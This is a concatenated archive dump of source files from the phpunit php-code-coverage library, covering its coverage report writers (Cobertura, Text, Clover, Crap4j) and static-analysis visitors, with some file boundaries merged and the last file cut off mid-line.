$lineRate = $linesValid === 0 ? 0 : ($linesCovered / $linesValid); $packageElement->setAttribute('line-rate', (string) $lineRate); $branchesValid = $item->numberOfExecutableBranches(); $branchesCovered = $item->numberOfExecutedBranches(); $branchRate = $branchesValid === 0 ? 0 : ($branchesCovered / $branchesValid); $packageElement->setAttribute('branch-rate', (string) $branchRate); $packageElement->setAttribute('complexity', ''); $packagesElement->appendChild($packageElement); $classesElement = $document->createElement('classes'); $packageElement->appendChild($classesElement); $classes = $item->classesAndTraits(); $coverageData = $item->lineCoverageData(); foreach ($classes as $className => $class) { $complexity += $class['ccn']; $packageComplexity += $class['ccn']; if (!empty($class['package']['namespace'])) { $className = $class['package']['namespace'] . '\\' . $className; } $linesValid = $class['executableLines']; $linesCovered = $class['executedLines']; $lineRate = $linesValid === 0 ? 0 : ($linesCovered / $linesValid); $branchesValid = $class['executableBranches']; $branchesCovered = $class['executedBranches']; $branchRate = $branchesValid === 0 ? 0 : ($branchesCovered / $branchesValid); $classElement = $document->createElement('class'); $classElement->setAttribute('name', $className); $classElement->setAttribute('filename', str_replace($report->pathAsString() . DIRECTORY_SEPARATOR, '', $item->pathAsString())); $classElement->setAttribute('line-rate', (string) $lineRate); $classElement->setAttribute('branch-rate', (string) $branchRate); $classElement->setAttribute('complexity', (string) $class['ccn']); $classesElement->appendChild($classElement); $methodsElement = $document->createElement('methods'); $classElement->appendChild($methodsElement); $classLinesElement = $document->createElement('lines'); $classElement->appendChild($classLinesElement); foreach ($class['methods'] as $methodName => $method) { if ($method['executableLines'] === 0) { continue; } preg_match("/\((.*?)\)/", $method['signature'], $signature); $linesValid = $method['executableLines']; $linesCovered = $method['executedLines']; $lineRate = $linesValid === 0 ? 0 : ($linesCovered / $linesValid); $branchesValid = $method['executableBranches']; $branchesCovered = $method['executedBranches']; $branchRate = $branchesValid === 0 ? 0 : ($branchesCovered / $branchesValid); $methodElement = $document->createElement('method'); $methodElement->setAttribute('name', $methodName); $methodElement->setAttribute('signature', $signature[1]); $methodElement->setAttribute('line-rate', (string) $lineRate); $methodElement->setAttribute('branch-rate', (string) $branchRate); $methodElement->setAttribute('complexity', (string) $method['ccn']); $methodLinesElement = $document->createElement('lines'); $methodElement->appendChild($methodLinesElement); foreach (range($method['startLine'], $method['endLine']) as $line) { if (!isset($coverageData[$line]) || $coverageData[$line] === null) { continue; } $methodLineElement = $document->createElement('line'); $methodLineElement->setAttribute('number', (string) $line); $methodLineElement->setAttribute('hits', (string) count($coverageData[$line])); $methodLinesElement->appendChild($methodLineElement); $classLineElement = $methodLineElement->cloneNode(); $classLinesElement->appendChild($classLineElement); } $methodsElement->appendChild($methodElement); } } if ($report->numberOfFunctions() === 0) { $packageElement->setAttribute('complexity', (string) $packageComplexity); continue; } $functionsComplexity = 0; $functionsLinesValid = 0; $functionsLinesCovered = 0; $functionsBranchesValid = 0; $functionsBranchesCovered = 0; $classElement = $document->createElement('class'); $classElement->setAttribute('name', basename($item->pathAsString())); $classElement->setAttribute('filename', str_replace($report->pathAsString() . DIRECTORY_SEPARATOR, '', $item->pathAsString())); $methodsElement = $document->createElement('methods'); $classElement->appendChild($methodsElement); $classLinesElement = $document->createElement('lines'); $classElement->appendChild($classLinesElement); $functions = $report->functions(); foreach ($functions as $functionName => $function) { if ($function['executableLines'] === 0) { continue; } $complexity += $function['ccn']; $packageComplexity += $function['ccn']; $functionsComplexity += $function['ccn']; $linesValid = $function['executableLines']; $linesCovered = $function['executedLines']; $lineRate = $linesValid === 0 ? 0 : ($linesCovered / $linesValid); $functionsLinesValid += $linesValid; $functionsLinesCovered += $linesCovered; $branchesValid = $function['executableBranches']; $branchesCovered = $function['executedBranches']; $branchRate = $branchesValid === 0 ? 0 : ($branchesCovered / $branchesValid); $functionsBranchesValid += $branchesValid; $functionsBranchesCovered += $branchesValid; $methodElement = $document->createElement('method'); $methodElement->setAttribute('name', $functionName); $methodElement->setAttribute('signature', $function['signature']); $methodElement->setAttribute('line-rate', (string) $lineRate); $methodElement->setAttribute('branch-rate', (string) $branchRate); $methodElement->setAttribute('complexity', (string) $function['ccn']); $methodLinesElement = $document->createElement('lines'); $methodElement->appendChild($methodLinesElement); foreach (range($function['startLine'], $function['endLine']) as $line) { if (!isset($coverageData[$line]) || $coverageData[$line] === null) { continue; } $methodLineElement = $document->createElement('line'); $methodLineElement->setAttribute('number', (string) $line); $methodLineElement->setAttribute('hits', (string) count($coverageData[$line])); $methodLinesElement->appendChild($methodLineElement); $classLineElement = $methodLineElement->cloneNode(); $classLinesElement->appendChild($classLineElement); } $methodsElement->appendChild($methodElement); } $packageElement->setAttribute('complexity', (string) $packageComplexity); if ($functionsLinesValid === 0) { continue; } $lineRate = $functionsLinesCovered / $functionsLinesValid; $branchRate = $functionsBranchesValid === 0 ? 0 : ($functionsBranchesCovered / $functionsBranchesValid); $classElement->setAttribute('line-rate', (string) $lineRate); $classElement->setAttribute('branch-rate', (string) $branchRate); $classElement->setAttribute('complexity', (string) $functionsComplexity); $classesElement->appendChild($classElement); } $coverageElement->setAttribute('complexity', (string) $complexity); $buffer = $document->saveXML(); if ($target !== null) { Filesystem::createDirectory(dirname($target)); if (@file_put_contents($target, $buffer) === false) { throw new WriteOperationFailedException($target); } } return $buffer; } } res/readability/vendor/phpunit/php-code-coverage/src/Report/Text.php000064400000026574147577714370021645 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Report; use const PHP_EOL; use function array_map; use function date; use function ksort; use function max; use function sprintf; use function str_pad; use function strlen; use SebastianBergmann\CodeCoverage\CodeCoverage; use SebastianBergmann\CodeCoverage\Node\File; use SebastianBergmann\CodeCoverage\Util\Percentage; final class Text { /** * @var string */ private const COLOR_GREEN = "\x1b[30;42m"; /** * @var string */ private const COLOR_YELLOW = "\x1b[30;43m"; /** * @var string */ private const COLOR_RED = "\x1b[37;41m"; /** * @var string */ private const COLOR_HEADER = "\x1b[1;37;40m"; /** * @var string */ private const COLOR_RESET = "\x1b[0m"; /** * @var string */ private const COLOR_EOL = "\x1b[2K"; /** * @var int */ private $lowUpperBound; /** * @var int */ private $highLowerBound; /** * @var bool */ private $showUncoveredFiles; /** * @var bool */ private $showOnlySummary; public function __construct(int $lowUpperBound = 50, int $highLowerBound = 90, bool $showUncoveredFiles = false, bool $showOnlySummary = false) { $this->lowUpperBound = $lowUpperBound; $this->highLowerBound = $highLowerBound; $this->showUncoveredFiles = $showUncoveredFiles; $this->showOnlySummary = $showOnlySummary; } public function process(CodeCoverage $coverage, bool $showColors = false): string { $hasBranchCoverage = !empty($coverage->getData(true)->functionCoverage()); $output = PHP_EOL . PHP_EOL; $report = $coverage->getReport(); $colors = [ 'header' => '', 'classes' => '', 'methods' => '', 'lines' => '', 'branches' => '', 'paths' => '', 'reset' => '', 'eol' => '', ]; if ($showColors) { $colors['classes'] = $this->coverageColor( $report->numberOfTestedClassesAndTraits(), $report->numberOfClassesAndTraits() ); $colors['methods'] = $this->coverageColor( $report->numberOfTestedMethods(), $report->numberOfMethods() ); $colors['lines'] = $this->coverageColor( $report->numberOfExecutedLines(), $report->numberOfExecutableLines() ); $colors['branches'] = $this->coverageColor( $report->numberOfExecutedBranches(), $report->numberOfExecutableBranches() ); $colors['paths'] = $this->coverageColor( $report->numberOfExecutedPaths(), $report->numberOfExecutablePaths() ); $colors['reset'] = self::COLOR_RESET; $colors['header'] = self::COLOR_HEADER; $colors['eol'] = self::COLOR_EOL; } $classes = sprintf( ' Classes: %6s (%d/%d)', Percentage::fromFractionAndTotal( $report->numberOfTestedClassesAndTraits(), $report->numberOfClassesAndTraits() )->asString(), $report->numberOfTestedClassesAndTraits(), $report->numberOfClassesAndTraits() ); $methods = sprintf( ' Methods: %6s (%d/%d)', Percentage::fromFractionAndTotal( $report->numberOfTestedMethods(), $report->numberOfMethods(), )->asString(), $report->numberOfTestedMethods(), $report->numberOfMethods() ); $paths = ''; $branches = ''; if ($hasBranchCoverage) { $paths = sprintf( ' Paths: %6s (%d/%d)', Percentage::fromFractionAndTotal( $report->numberOfExecutedPaths(), $report->numberOfExecutablePaths(), )->asString(), $report->numberOfExecutedPaths(), $report->numberOfExecutablePaths() ); $branches = sprintf( ' Branches: %6s (%d/%d)', Percentage::fromFractionAndTotal( $report->numberOfExecutedBranches(), $report->numberOfExecutableBranches(), )->asString(), $report->numberOfExecutedBranches(), $report->numberOfExecutableBranches() ); } $lines = sprintf( ' Lines: %6s (%d/%d)', Percentage::fromFractionAndTotal( $report->numberOfExecutedLines(), $report->numberOfExecutableLines(), )->asString(), $report->numberOfExecutedLines(), $report->numberOfExecutableLines() ); $padding = max(array_map('strlen', [$classes, $methods, $lines])); if ($this->showOnlySummary) { $title = 'Code Coverage Report Summary:'; $padding = max($padding, strlen($title)); $output .= $this->format($colors['header'], $padding, $title); } else { $date = date(' Y-m-d H:i:s'); $title = 'Code Coverage Report:'; $output .= $this->format($colors['header'], $padding, $title); $output .= $this->format($colors['header'], $padding, $date); $output .= $this->format($colors['header'], $padding, ''); $output .= $this->format($colors['header'], $padding, ' Summary:'); } $output .= $this->format($colors['classes'], $padding, $classes); $output .= $this->format($colors['methods'], $padding, $methods); if ($hasBranchCoverage) { $output .= $this->format($colors['paths'], $padding, $paths); $output .= $this->format($colors['branches'], $padding, $branches); } $output .= $this->format($colors['lines'], $padding, $lines); if ($this->showOnlySummary) { return $output . PHP_EOL; } $classCoverage = []; foreach ($report as $item) { if (!$item instanceof File) { continue; } $classes = $item->classesAndTraits(); foreach ($classes as $className => $class) { $classExecutableLines = 0; $classExecutedLines = 0; $classExecutableBranches = 0; $classExecutedBranches = 0; $classExecutablePaths = 0; $classExecutedPaths = 0; $coveredMethods = 0; $classMethods = 0; foreach ($class['methods'] as $method) { if ($method['executableLines'] == 0) { continue; } $classMethods++; $classExecutableLines += $method['executableLines']; $classExecutedLines += $method['executedLines']; $classExecutableBranches += $method['executableBranches']; $classExecutedBranches += $method['executedBranches']; $classExecutablePaths += $method['executablePaths']; $classExecutedPaths += $method['executedPaths']; if ($method['coverage'] == 100) { $coveredMethods++; } } $classCoverage[$className] = [ 'namespace' => $class['namespace'], 'className' => $className, 'methodsCovered' => $coveredMethods, 'methodCount' => $classMethods, 'statementsCovered' => $classExecutedLines, 'statementCount' => $classExecutableLines, 'branchesCovered' => $classExecutedBranches, 'branchesCount' => $classExecutableBranches, 'pathsCovered' => $classExecutedPaths, 'pathsCount' => $classExecutablePaths, ]; } } ksort($classCoverage); $methodColor = ''; $pathsColor = ''; $branchesColor = ''; $linesColor = ''; $resetColor = ''; foreach ($classCoverage as $fullQualifiedPath => $classInfo) { if ($this->showUncoveredFiles || $classInfo['statementsCovered'] != 0) { if ($showColors) { $methodColor = $this->coverageColor($classInfo['methodsCovered'], $classInfo['methodCount']); $pathsColor = $this->coverageColor($classInfo['pathsCovered'], $classInfo['pathsCount']); $branchesColor = $this->coverageColor($classInfo['branchesCovered'], $classInfo['branchesCount']); $linesColor = $this->coverageColor($classInfo['statementsCovered'], $classInfo['statementCount']); $resetColor = $colors['reset']; } $output .= PHP_EOL . $fullQualifiedPath . PHP_EOL . ' ' . $methodColor . 'Methods: ' . $this->printCoverageCounts($classInfo['methodsCovered'], $classInfo['methodCount'], 2) . $resetColor . ' '; if ($hasBranchCoverage) { $output .= ' ' . $pathsColor . 'Paths: ' . $this->printCoverageCounts($classInfo['pathsCovered'], $classInfo['pathsCount'], 3) . $resetColor . ' ' . ' ' . $branchesColor . 'Branches: ' . $this->printCoverageCounts($classInfo['branchesCovered'], $classInfo['branchesCount'], 3) . $resetColor . ' '; } $output .= ' ' . $linesColor . 'Lines: ' . $this->printCoverageCounts($classInfo['statementsCovered'], $classInfo['statementCount'], 3) . $resetColor; } } return $output . PHP_EOL; } private function coverageColor(int $numberOfCoveredElements, int $totalNumberOfElements): string { $coverage = Percentage::fromFractionAndTotal( $numberOfCoveredElements, $totalNumberOfElements ); if ($coverage->asFloat() >= $this->highLowerBound) { return self::COLOR_GREEN; } if ($coverage->asFloat() > $this->lowUpperBound) { return self::COLOR_YELLOW; } return self::COLOR_RED; } private function printCoverageCounts(int $numberOfCoveredElements, int $totalNumberOfElements, int $precision): string { $format = '%' . $precision . 's'; return Percentage::fromFractionAndTotal( $numberOfCoveredElements, $totalNumberOfElements )->asFixedWidthString() . ' (' . sprintf($format, $numberOfCoveredElements) . '/' . sprintf($format, $totalNumberOfElements) . ')'; } /** * @param false|string $string */ private function format(string $color, int $padding, $string): string { $reset = $color ? self::COLOR_RESET : ''; return $color . str_pad((string) $string, $padding) . $reset . PHP_EOL; } } res/readability/vendor/phpunit/php-code-coverage/src/Report/PHP.php000064400000002323147577714370021332 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Report; use function dirname; use function file_put_contents; use function serialize; use function sprintf; use SebastianBergmann\CodeCoverage\CodeCoverage; use SebastianBergmann\CodeCoverage\Driver\WriteOperationFailedException; use SebastianBergmann\CodeCoverage\Util\Filesystem; final class PHP { public function process(CodeCoverage $coverage, ?string $target = null): string { $buffer = sprintf( " * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Report; use function count; use function dirname; use function file_put_contents; use function is_string; use function ksort; use function max; use function range; use function time; use DOMDocument; use SebastianBergmann\CodeCoverage\CodeCoverage; use SebastianBergmann\CodeCoverage\Driver\WriteOperationFailedException; use SebastianBergmann\CodeCoverage\Node\File; use SebastianBergmann\CodeCoverage\Util\Filesystem; final class Clover { /** * @throws WriteOperationFailedException */ public function process(CodeCoverage $coverage, ?string $target = null, ?string $name = null): string { $time = (string) time(); $xmlDocument = new DOMDocument('1.0', 'UTF-8'); $xmlDocument->formatOutput = true; $xmlCoverage = $xmlDocument->createElement('coverage'); $xmlCoverage->setAttribute('generated', $time); $xmlDocument->appendChild($xmlCoverage); $xmlProject = $xmlDocument->createElement('project'); $xmlProject->setAttribute('timestamp', $time); if (is_string($name)) { $xmlProject->setAttribute('name', $name); } $xmlCoverage->appendChild($xmlProject); $packages = []; $report = $coverage->getReport(); foreach ($report as $item) { if (!$item instanceof File) { continue; } /* @var File $item */ $xmlFile = $xmlDocument->createElement('file'); $xmlFile->setAttribute('name', $item->pathAsString()); $classes = $item->classesAndTraits(); $coverageData = $item->lineCoverageData(); $lines = []; $namespace = 'global'; foreach ($classes as $className => $class) { $classStatements = 0; $coveredClassStatements = 0; $coveredMethods = 0; $classMethods = 0; foreach ($class['methods'] as $methodName => $method) { if ($method['executableLines'] == 0) { continue; } $classMethods++; $classStatements += $method['executableLines']; $coveredClassStatements += $method['executedLines']; if ($method['coverage'] == 100) { $coveredMethods++; } $methodCount = 0; foreach (range($method['startLine'], $method['endLine']) as $line) { if (isset($coverageData[$line]) && ($coverageData[$line] !== null)) { $methodCount = max($methodCount, count($coverageData[$line])); } } $lines[$method['startLine']] = [ 'ccn' => $method['ccn'], 'count' => $methodCount, 'crap' => $method['crap'], 'type' => 'method', 'visibility' => $method['visibility'], 'name' => $methodName, ]; } if (!empty($class['package']['namespace'])) { $namespace = $class['package']['namespace']; } $xmlClass = $xmlDocument->createElement('class'); $xmlClass->setAttribute('name', $className); $xmlClass->setAttribute('namespace', $namespace); if (!empty($class['package']['fullPackage'])) { $xmlClass->setAttribute( 'fullPackage', $class['package']['fullPackage'] ); } if (!empty($class['package']['category'])) { $xmlClass->setAttribute( 'category', $class['package']['category'] ); } if (!empty($class['package']['package'])) { $xmlClass->setAttribute( 'package', $class['package']['package'] ); } if (!empty($class['package']['subpackage'])) { $xmlClass->setAttribute( 'subpackage', $class['package']['subpackage'] ); } $xmlFile->appendChild($xmlClass); $xmlMetrics = $xmlDocument->createElement('metrics'); $xmlMetrics->setAttribute('complexity', (string) $class['ccn']); $xmlMetrics->setAttribute('methods', (string) $classMethods); $xmlMetrics->setAttribute('coveredmethods', (string) $coveredMethods); $xmlMetrics->setAttribute('conditionals', (string) $class['executableBranches']); $xmlMetrics->setAttribute('coveredconditionals', (string) $class['executedBranches']); $xmlMetrics->setAttribute('statements', (string) $classStatements); $xmlMetrics->setAttribute('coveredstatements', (string) $coveredClassStatements); $xmlMetrics->setAttribute('elements', (string) ($classMethods + $classStatements + $class['executableBranches'])); $xmlMetrics->setAttribute('coveredelements', (string) ($coveredMethods + $coveredClassStatements + $class['executedBranches'])); $xmlClass->appendChild($xmlMetrics); } foreach ($coverageData as $line => $data) { if ($data === null || isset($lines[$line])) { continue; } $lines[$line] = [ 'count' => count($data), 'type' => 'stmt', ]; } ksort($lines); foreach ($lines as $line => $data) { $xmlLine = $xmlDocument->createElement('line'); $xmlLine->setAttribute('num', (string) $line); $xmlLine->setAttribute('type', $data['type']); if (isset($data['name'])) { $xmlLine->setAttribute('name', $data['name']); } if (isset($data['visibility'])) { $xmlLine->setAttribute('visibility', $data['visibility']); } if (isset($data['ccn'])) { $xmlLine->setAttribute('complexity', (string) $data['ccn']); } if (isset($data['crap'])) { $xmlLine->setAttribute('crap', (string) $data['crap']); } $xmlLine->setAttribute('count', (string) $data['count']); $xmlFile->appendChild($xmlLine); } $linesOfCode = $item->linesOfCode(); $xmlMetrics = $xmlDocument->createElement('metrics'); $xmlMetrics->setAttribute('loc', (string) $linesOfCode['linesOfCode']); $xmlMetrics->setAttribute('ncloc', (string) $linesOfCode['nonCommentLinesOfCode']); $xmlMetrics->setAttribute('classes', (string) $item->numberOfClassesAndTraits()); $xmlMetrics->setAttribute('methods', (string) $item->numberOfMethods()); $xmlMetrics->setAttribute('coveredmethods', (string) $item->numberOfTestedMethods()); $xmlMetrics->setAttribute('conditionals', (string) $item->numberOfExecutableBranches()); $xmlMetrics->setAttribute('coveredconditionals', (string) $item->numberOfExecutedBranches()); $xmlMetrics->setAttribute('statements', (string) $item->numberOfExecutableLines()); $xmlMetrics->setAttribute('coveredstatements', (string) $item->numberOfExecutedLines()); $xmlMetrics->setAttribute('elements', (string) ($item->numberOfMethods() + $item->numberOfExecutableLines() + $item->numberOfExecutableBranches())); $xmlMetrics->setAttribute('coveredelements', (string) ($item->numberOfTestedMethods() + $item->numberOfExecutedLines() + $item->numberOfExecutedBranches())); $xmlFile->appendChild($xmlMetrics); if ($namespace === 'global') { $xmlProject->appendChild($xmlFile); } else { if (!isset($packages[$namespace])) { $packages[$namespace] = $xmlDocument->createElement( 'package' ); $packages[$namespace]->setAttribute('name', $namespace); $xmlProject->appendChild($packages[$namespace]); } $packages[$namespace]->appendChild($xmlFile); } } $linesOfCode = $report->linesOfCode(); $xmlMetrics = $xmlDocument->createElement('metrics'); $xmlMetrics->setAttribute('files', (string) count($report)); $xmlMetrics->setAttribute('loc', (string) $linesOfCode['linesOfCode']); $xmlMetrics->setAttribute('ncloc', (string) $linesOfCode['nonCommentLinesOfCode']); $xmlMetrics->setAttribute('classes', (string) $report->numberOfClassesAndTraits()); $xmlMetrics->setAttribute('methods', (string) $report->numberOfMethods()); $xmlMetrics->setAttribute('coveredmethods', (string) $report->numberOfTestedMethods()); $xmlMetrics->setAttribute('conditionals', (string) $report->numberOfExecutableBranches()); $xmlMetrics->setAttribute('coveredconditionals', (string) $report->numberOfExecutedBranches()); $xmlMetrics->setAttribute('statements', (string) $report->numberOfExecutableLines()); $xmlMetrics->setAttribute('coveredstatements', (string) $report->numberOfExecutedLines()); $xmlMetrics->setAttribute('elements', (string) ($report->numberOfMethods() + $report->numberOfExecutableLines() + $report->numberOfExecutableBranches())); $xmlMetrics->setAttribute('coveredelements', (string) ($report->numberOfTestedMethods() + $report->numberOfExecutedLines() + $report->numberOfExecutedBranches())); $xmlProject->appendChild($xmlMetrics); $buffer = $xmlDocument->saveXML(); if ($target !== null) { Filesystem::createDirectory(dirname($target)); if (@file_put_contents($target, $buffer) === false) { throw new WriteOperationFailedException($target); } } return $buffer; } } res/readability/vendor/phpunit/php-code-coverage/src/Report/Crap4j.php000064400000012774147577714370022041 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Report; use function date; use function dirname; use function file_put_contents; use function htmlspecialchars; use function is_string; use function round; use DOMDocument; use SebastianBergmann\CodeCoverage\CodeCoverage; use SebastianBergmann\CodeCoverage\Driver\WriteOperationFailedException; use SebastianBergmann\CodeCoverage\Node\File; use SebastianBergmann\CodeCoverage\Util\Filesystem; final class Crap4j { /** * @var int */ private $threshold; public function __construct(int $threshold = 30) { $this->threshold = $threshold; } /** * @throws WriteOperationFailedException */ public function process(CodeCoverage $coverage, ?string $target = null, ?string $name = null): string { $document = new DOMDocument('1.0', 'UTF-8'); $document->formatOutput = true; $root = $document->createElement('crap_result'); $document->appendChild($root); $project = $document->createElement('project', is_string($name) ? $name : ''); $root->appendChild($project); $root->appendChild($document->createElement('timestamp', date('Y-m-d H:i:s'))); $stats = $document->createElement('stats'); $methodsNode = $document->createElement('methods'); $report = $coverage->getReport(); unset($coverage); $fullMethodCount = 0; $fullCrapMethodCount = 0; $fullCrapLoad = 0; $fullCrap = 0; foreach ($report as $item) { $namespace = 'global'; if (!$item instanceof File) { continue; } $file = $document->createElement('file'); $file->setAttribute('name', $item->pathAsString()); $classes = $item->classesAndTraits(); foreach ($classes as $className => $class) { foreach ($class['methods'] as $methodName => $method) { $crapLoad = $this->crapLoad((float) $method['crap'], $method['ccn'], $method['coverage']); $fullCrap += $method['crap']; $fullCrapLoad += $crapLoad; $fullMethodCount++; if ($method['crap'] >= $this->threshold) { $fullCrapMethodCount++; } $methodNode = $document->createElement('method'); if (!empty($class['namespace'])) { $namespace = $class['namespace']; } $methodNode->appendChild($document->createElement('package', $namespace)); $methodNode->appendChild($document->createElement('className', $className)); $methodNode->appendChild($document->createElement('methodName', $methodName)); $methodNode->appendChild($document->createElement('methodSignature', htmlspecialchars($method['signature']))); $methodNode->appendChild($document->createElement('fullMethod', htmlspecialchars($method['signature']))); $methodNode->appendChild($document->createElement('crap', (string) $this->roundValue((float) $method['crap']))); $methodNode->appendChild($document->createElement('complexity', (string) $method['ccn'])); $methodNode->appendChild($document->createElement('coverage', (string) $this->roundValue($method['coverage']))); $methodNode->appendChild($document->createElement('crapLoad', (string) round($crapLoad))); $methodsNode->appendChild($methodNode); } } } $stats->appendChild($document->createElement('name', 'Method Crap Stats')); $stats->appendChild($document->createElement('methodCount', (string) $fullMethodCount)); $stats->appendChild($document->createElement('crapMethodCount', (string) $fullCrapMethodCount)); $stats->appendChild($document->createElement('crapLoad', (string) round($fullCrapLoad))); $stats->appendChild($document->createElement('totalCrap', (string) $fullCrap)); $crapMethodPercent = 0; if ($fullMethodCount > 0) { $crapMethodPercent = $this->roundValue((100 * $fullCrapMethodCount) / $fullMethodCount); } $stats->appendChild($document->createElement('crapMethodPercent', (string) $crapMethodPercent)); $root->appendChild($stats); $root->appendChild($methodsNode); $buffer = $document->saveXML(); if ($target !== null) { Filesystem::createDirectory(dirname($target)); if (@file_put_contents($target, $buffer) === false) { throw new WriteOperationFailedException($target); } } return $buffer; } private function crapLoad(float $crapValue, int $cyclomaticComplexity, float $coveragePercent): float { $crapLoad = 0; if ($crapValue >= $this->threshold) { $crapLoad += $cyclomaticComplexity * (1.0 - $coveragePercent / 100); $crapLoad += $cyclomaticComplexity / $this->threshold; } return $crapLoad; } private function roundValue(float $value): float { return round($value, 2); } } res/readability/vendor/phpunit/php-code-coverage/src/StaticAnalysis/IgnoredLinesFindingVisitor.php000064400000005472147577714370027634 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\StaticAnalysis; use function array_merge; use function range; use function strpos; use PhpParser\Node; use PhpParser\Node\Stmt\Class_; use PhpParser\Node\Stmt\ClassMethod; use PhpParser\Node\Stmt\Function_; use PhpParser\Node\Stmt\Interface_; use PhpParser\Node\Stmt\Trait_; use PhpParser\NodeVisitorAbstract; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class IgnoredLinesFindingVisitor extends NodeVisitorAbstract { /** * @psalm-var list */ private $ignoredLines = []; /** * @var bool */ private $useAnnotationsForIgnoringCode; /** * @var bool */ private $ignoreDeprecated; public function __construct(bool $useAnnotationsForIgnoringCode, bool $ignoreDeprecated) { $this->useAnnotationsForIgnoringCode = $useAnnotationsForIgnoringCode; $this->ignoreDeprecated = $ignoreDeprecated; } public function enterNode(Node $node): void { if (!$node instanceof Class_ && !$node instanceof Trait_ && !$node instanceof Interface_ && !$node instanceof ClassMethod && !$node instanceof Function_) { return; } if ($node instanceof Class_ && $node->isAnonymous()) { return; } // Workaround for https://bugs.xdebug.org/view.php?id=1798 if ($node instanceof Class_ || $node instanceof Trait_ || $node instanceof Interface_) { $this->ignoredLines[] = $node->getStartLine(); } if (!$this->useAnnotationsForIgnoringCode) { return; } if ($node instanceof Interface_) { return; } $docComment = $node->getDocComment(); if ($docComment === null) { return; } if (strpos($docComment->getText(), '@codeCoverageIgnore') !== false) { $this->ignoredLines = array_merge( $this->ignoredLines, range($node->getStartLine(), $node->getEndLine()) ); } if ($this->ignoreDeprecated && strpos($docComment->getText(), '@deprecated') !== false) { $this->ignoredLines = array_merge( $this->ignoredLines, range($node->getStartLine(), $node->getEndLine()) ); } } /** * @psalm-return list */ public function ignoredLines(): array { return $this->ignoredLines; } } res/readability/vendor/phpunit/php-code-coverage/src/StaticAnalysis/ParsingFileAnalyser.php000064400000016416147577714370026275 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\StaticAnalysis; use function array_unique; use function assert; use function file_get_contents; use function is_array; use function max; use function sprintf; use function substr_count; use function token_get_all; use function trim; use PhpParser\Error; use PhpParser\Lexer; use PhpParser\NodeTraverser; use PhpParser\NodeVisitor\NameResolver; use PhpParser\NodeVisitor\ParentConnectingVisitor; use PhpParser\ParserFactory; use SebastianBergmann\CodeCoverage\ParserException; use SebastianBergmann\LinesOfCode\LineCountingVisitor; /** * @internal This class is not covered by the backward compatibility promise for phpunit/php-code-coverage */ final class ParsingFileAnalyser implements FileAnalyser { /** * @var array */ private $classes = []; /** * @var array */ private $traits = []; /** * @var array */ private $functions = []; /** * @var array */ private $linesOfCode = []; /** * @var array */ private $ignoredLines = []; /** * @var array */ private $executableLines = []; /** * @var bool */ private $useAnnotationsForIgnoringCode; /** * @var bool */ private $ignoreDeprecatedCode; public function __construct(bool $useAnnotationsForIgnoringCode, bool $ignoreDeprecatedCode) { $this->useAnnotationsForIgnoringCode = $useAnnotationsForIgnoringCode; $this->ignoreDeprecatedCode = $ignoreDeprecatedCode; } public function classesIn(string $filename): array { $this->analyse($filename); return $this->classes[$filename]; } public function traitsIn(string $filename): array { $this->analyse($filename); return $this->traits[$filename]; } public function functionsIn(string $filename): array { $this->analyse($filename); return $this->functions[$filename]; } /** * @psalm-return array{linesOfCode: int, commentLinesOfCode: int, nonCommentLinesOfCode: int} */ public function linesOfCodeFor(string $filename): array { $this->analyse($filename); return $this->linesOfCode[$filename]; } public function executableLinesIn(string $filename): array { $this->analyse($filename); return $this->executableLines[$filename]; } public function ignoredLinesFor(string $filename): array { $this->analyse($filename); return $this->ignoredLines[$filename]; } /** * @throws ParserException */ private function analyse(string $filename): void { if (isset($this->classes[$filename])) { return; } $source = file_get_contents($filename); $linesOfCode = max(substr_count($source, "\n") + 1, substr_count($source, "\r") + 1); if ($linesOfCode === 0 && !empty($source)) { $linesOfCode = 1; } $parser = (new ParserFactory)->create( ParserFactory::PREFER_PHP7, new Lexer ); try { $nodes = $parser->parse($source); assert($nodes !== null); $traverser = new NodeTraverser; $codeUnitFindingVisitor = new CodeUnitFindingVisitor; $lineCountingVisitor = new LineCountingVisitor($linesOfCode); $ignoredLinesFindingVisitor = new IgnoredLinesFindingVisitor($this->useAnnotationsForIgnoringCode, $this->ignoreDeprecatedCode); $executableLinesFindingVisitor = new ExecutableLinesFindingVisitor; $traverser->addVisitor(new NameResolver); $traverser->addVisitor(new ParentConnectingVisitor); $traverser->addVisitor($codeUnitFindingVisitor); $traverser->addVisitor($lineCountingVisitor); $traverser->addVisitor($ignoredLinesFindingVisitor); $traverser->addVisitor($executableLinesFindingVisitor); /* @noinspection UnusedFunctionResultInspection */ $traverser->traverse($nodes); // @codeCoverageIgnoreStart } catch (Error $error) { throw new ParserException( sprintf( 'Cannot parse %s: %s', $filename, $error->getMessage() ), (int) $error->getCode(), $error ); } // @codeCoverageIgnoreEnd $this->classes[$filename] = $codeUnitFindingVisitor->classes(); $this->traits[$filename] = $codeUnitFindingVisitor->traits(); $this->functions[$filename] = $codeUnitFindingVisitor->functions(); $this->executableLines[$filename] = $executableLinesFindingVisitor->executableLines(); $this->ignoredLines[$filename] = []; $this->findLinesIgnoredByLineBasedAnnotations($filename, $source, $this->useAnnotationsForIgnoringCode); $this->ignoredLines[$filename] = array_unique( array_merge( $this->ignoredLines[$filename], $ignoredLinesFindingVisitor->ignoredLines() ) ); sort($this->ignoredLines[$filename]); $result = $lineCountingVisitor->result(); $this->linesOfCode[$filename] = [ 'linesOfCode' => $result->linesOfCode(), 'commentLinesOfCode' => $result->commentLinesOfCode(), 'nonCommentLinesOfCode' => $result->nonCommentLinesOfCode(), ]; } private function findLinesIgnoredByLineBasedAnnotations(string $filename, string $source, bool $useAnnotationsForIgnoringCode): void { $ignore = false; $stop = false; foreach (token_get_all($source) as $token) { if (!is_array($token)) { continue; } switch ($token[0]) { case T_COMMENT: case T_DOC_COMMENT: if (!$useAnnotationsForIgnoringCode) { break; } $comment = trim($token[1]); if ($comment === '// @codeCoverageIgnore' || $comment === '//@codeCoverageIgnore') { $ignore = true; $stop = true; } elseif ($comment 